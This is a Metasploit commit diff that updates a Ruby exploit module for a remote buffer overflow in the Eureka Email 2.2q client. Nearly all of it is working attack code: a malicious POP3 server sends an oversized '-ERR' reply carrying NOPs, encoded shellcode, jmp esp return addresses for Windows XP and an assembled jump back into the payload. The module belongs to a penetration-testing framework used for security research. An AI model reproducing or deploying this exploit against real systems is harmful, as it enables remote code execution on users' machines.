hopefully an improvement in reliability

git-svn-id: file:///home/svn/framework3/trunk@7810 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/misc/eureka_mail_err.rb

@@ -14,15 +14,22 @@ class Metasploit3 < Msf::Exploit::Remote
 	def initialize(info = {})
 		super(update_info(info,
 			'Name'           => 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit',
+			# bof occurs due to wsprintfA @ 0x43bdf2 in "Eureka Mail.exe" v2.2.0.1
+			# overflows a buffer of 512 bytes, smashes a buffer of 256 bytes, then the return address
 			'Description'    => %q{
 				This module exploits a buffer overflow in the Eureka Email 2.2q
 				client that is triggered through an excessively long ERR message.
+				
+				NOTE: this exploit isn't very reliable. Unfortunately reaching the 
+				vulnerable code can only be done when manually checking mail (Ctrl-M).
+				Checking at startup will not reach the code targeted here.
 			},
 			'Author' 	 =>
 				[
 					'Francis Provencher (Protek Research Labs)',
 					'Dr_IDE',
-					'dookie'
+					'dookie',
+					'jduck'
 				],
 			'License'        => MSF_LICENSE,
 			'Version'        => '$Revision$',
@@ -34,19 +41,21 @@ class Metasploit3 < Msf::Exploit::Remote
 				],
 			'DefaultOptions' =>
 				{
-					'EXITFUNC' => 'seh',
+					'EXITFUNC' => 'process',
 				},
 			'Payload'        =>
 				{
-					'Space'    => 2000,
+					'Space'    => 700,
 					'BadChars' => "\x00\x0a\x0d\x20",
 					'StackAdjustment' => -3500,
+					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
+					'DisableNops' => true,
 				},
 			'Platform'       => 'win',
 			'Targets'        => 
 				[
-					[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp user32.dll
-					[ 'Win XP SP3 English',	{ 'Ret' => 0x7E429353 } ], # jmp esp user32.dll
+					[ 'Win XP SP3 English',	{ 'Ret' => 0x7E429353 } ], # jmp esp / user32.dll
+					[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp / user32.dll
 				],
 			'Privileged'     => false,
 			'DefaultTarget'  => 0))
@@ -60,19 +69,24 @@ class Metasploit3 < Msf::Exploit::Remote
 	def on_client_connect(client)
 		return if ((p = regenerate_payload(client)) == nil)
 		
-		# Unleash the Egghunter!
-		eh_stub, eh_egg = generate_egghunter
+		already = "Your POP3 server had a problem.\n"
+		already << datastore['LHOST']
+		already << " said:\n\n    -ERR "
 		
 		buffer =  "-ERR "
-		buffer << rand_text_alpha_upper(710)
-		buffer << [target.ret].pack('V')
-		buffer << make_nops(10)
-		buffer << eh_stub
-		buffer << make_nops(200)
-		buffer << rand_text_alpha_upper(2000)
-		buffer << eh_egg * 2
+		space = (512+256+4) - already.length
+		
+		buffer << make_nops(space - payload.encoded.length)
 		buffer << payload.encoded
+		buffer << [target.ret].pack('V')
+		buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x2c0").encode_string
+		buffer << "\r\n"
+		
+		print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
 		client.put(buffer)
+		
+      handler
+		service.close_client(client)
 	end
 	
 end